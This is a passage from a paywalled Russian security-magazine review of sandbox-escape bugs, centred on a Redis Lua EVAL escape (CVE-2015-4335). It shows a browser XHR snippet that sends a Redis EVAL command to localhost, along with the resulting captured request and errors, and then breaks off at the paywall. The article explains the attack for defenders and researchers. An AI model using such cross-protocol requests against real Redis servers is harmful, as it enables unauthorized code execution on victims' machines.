Наш сегодняшний обзор будет посвящен уязвимостям, которые позволяют совершить побег из разнообразных песочниц. Одна из них затронула такую популярную виртуальную машину, как QEMU. В ходе ее эксплуатации можно выполнить произвольный код, который затронет хостовую машину. Другая же основана на встраиваемом языке Lua — она позволяет не просто выполнять код, но и читать память.

 

Выполнение кода в Redis через EVAL

 

CVSSv2

N/A

 

BRIEF

Дата релиза: 4 июня 2015 года
Автор: Ben Murphy
CVE: 2015-4335

Лого для уязвимости в Redis
Лого для уязвимости в Redis

Уязвимость в нереляционной высокопроизводительной базе данных Redis позволяет выйти из Lua-песочницы и выполнить произвольный код. Сама уязвимость не нова и основана на работе Питера Коли с байт-кодом Lua — type confusion.

Особой угрозы в этой уязвимости нет, так как в соответствии с моделью безопасности Redis только доверенные пользователи могут подключаться к БД. Поэтому основные цели атак — это системы разработчиков, добраться до них можно с помощью SSRF-атак или благодаря облакам.

Машины разработчиков, использующих Redis, могут быть уязвимы из-за того, что Redis биндится на все интерфейсы, которые в свою очередь ждут получения инструкций. Такое поведение прописано в настройках по умолчанию.

Также разработчики могут быть уязвимы, если есть биндинг на 127.0.0.1. Один из примеров атаки на Redis через HTTP расписан исследователем Николасом Грегори. В его отчете рассказано об атаке на сервер Facebook, работающий на Redis, через уязвимость SSRF.

Так как Redis — это HTTP-сервер, у него есть схожие политики безопасности для браузеров, которые могут позволить любому сайту отправить к нему запрос POST. Для получения полного контроля нам нужно использовать XHR. Для примера напишем в консоли браузера при запущенном Wireshark такие команды:

var x = new XMLHttpRequest();
x.open("POST", "http://127.0.0.1:6379");
x.send('eval "print(\\"hello\\")" 0\r\n');

В Wireshark мы увидим следующее:

POST / HTTP/1.1
Host: 127.0.0.1:6379
Connection: keep-alive
Content-Length: 27
Pragma: no-cache
Cache-Control: no-cache
Origin: http://www.agarri.fr
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Referer: http://www.agarri.fr/kom/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8

eval "print(\"hello\")" 0
-ERR unknown command 'POST'
-ERR unknown command 'Host:'
-ERR unknown command 'Connection:'
-ERR unknown command 'Content-Length:'
-ERR unknown command 'Pragma:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Origin:'
-ERR unknown command 'User-Agent:'
-ERR unknown command 'Content-Type:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Referer:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Accept-Language:'
$-1

В потоке stdout Redis будет следующее:

Продолжение доступно только подписчикам

Вариант 1. Оформи подписку на «Хакер», чтобы читать все материалы на сайте

Подписка позволит тебе в течение указанного срока читать ВСЕ платные материалы сайта. Мы принимаем оплату банковскими картами, электронными деньгами и переводами со счетов мобильных операторов. Подробнее о подписке

Вариант 2. Купи один материал

Заинтересовала информация, но нет возможности оплатить подписку? Тогда этот вариант для тебя! Обрати внимание: этот способ покупки доступен только для материалов, опубликованных более двух месяцев назад.


Оставить мнение

Check Also

Разработчики Cisco удалили из Video Surveillance Manager жестко закодированные учетные данные

Разработчики Cisco сообщают, что исправили уязвимость в Video Surveillance Manager (VSM). …